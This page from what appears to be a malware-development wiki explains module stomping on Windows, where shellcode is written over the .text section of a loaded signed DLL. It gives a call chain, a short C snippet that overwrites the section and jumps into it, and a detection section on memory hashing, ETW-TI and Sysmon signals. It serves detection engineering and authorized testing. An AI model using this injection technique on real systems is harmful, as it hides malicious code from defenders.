Skip to content
λmaldev wiki/
pagesModule Stomping
T1055.002Windowsx64 / x86C / C++

Module Stomping

updated 2026-06-306 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Every detection built on “executable memory with no file behind it” has the same blind spot: memory that does have a file behind it. Module stomping loads a legitimate signed DLL the target has no use for, then overwrites its .text section in place. The payload now executes from image-backed memory attributed to a Microsoft-signed module.

The trade-off is that the stomped module is broken. Anything that calls into it will fault, so implementations pick a DLL the host process will never touch — and pick a different one per campaign, because the choice itself becomes a signature.

Caution.

Writing to an image section triggers copy-on-write. The pages become private to this process, which is invisible to a naive backing check but plainly visible to a working-set walk that compares each page against the file on disk.

The call chain

  1. 1
    LoadLibraryEx(a sacrificial DLL)
    Load a signed DLL the process does not actually use, remotely or in-process.
  2. 2
    locate the .text section
    Parse the mapped headers to find the executable section and its size.
  3. 3
    VirtualProtectEx(PAGE_READWRITE)
    Make the image section writable — a copy-on-write fault privatises those pages.
  4. 4
    WriteProcessMemory
    Overwrite the section body with the payload.
  5. 5
    VirtualProtectEx(PAGE_EXECUTE_READ)
    Restore executable protection and jump into the stomped region.

Reference implementation

stomp.cC
// a signed DLL this process has no reason to call
HMODULE mod = LoadLibraryExA("xpsservices.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);

PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)mod + ((PIMAGE_DOS_HEADER)mod)->e_lfanew);
PIMAGE_SECTION_HEADER text = find_section(nt, ".text");
PVOID dst = (PBYTE)mod + text->VirtualAddress;

DWORD old;
VirtualProtect(dst, size, PAGE_READWRITE, &old);   // copy-on-write privatises the pages
memcpy(dst, shellcode, size);
VirtualProtect(dst, size, PAGE_EXECUTE_READ, &old);

((void(*)())dst)();

Detection

MEMORY SCAN
Image-backed pages whose contents no longer match the file on disk — a section hash mismatch.
ETW-TI
Protection change to RW on an image section, immediately followed by a change back to RX.
SYSMON EID 7
A signed DLL loaded into a process with no legitimate reason to use it, then never called.
BEHAVIOURAL
Threads whose start address lands mid-section in a module the process never imports from.

The reliable check is content, not attribution: hash each executable image section in memory against the same section read from disk. Legitimate deltas exist — hot-patching, relocations, IAT entries — so normalise those before comparing rather than alerting on any difference.

Was this page useful?edit this page ↗